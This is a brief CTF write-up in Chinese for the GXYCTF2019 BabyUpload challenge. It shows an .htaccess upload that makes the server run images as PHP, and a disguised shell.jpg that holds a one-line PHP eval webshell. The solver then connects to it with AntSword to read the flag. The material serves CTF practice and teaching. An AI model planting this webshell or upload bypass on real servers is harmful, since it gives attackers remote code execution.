[GXYCTF2019]BabyUpload

[GXYCTF2019]BabyUpload

Step

.htaccess文件辅助jpg文件上传，用蚁剑链接webshell

.htaccess，记得bp修改上传类型：

SetHandler application/x-httpd-php

shell.jpg

GIF89a
<script language='php'>@eval($_POST['cmd']);phpinfo();</script>

最后蚁剑连接，查看flag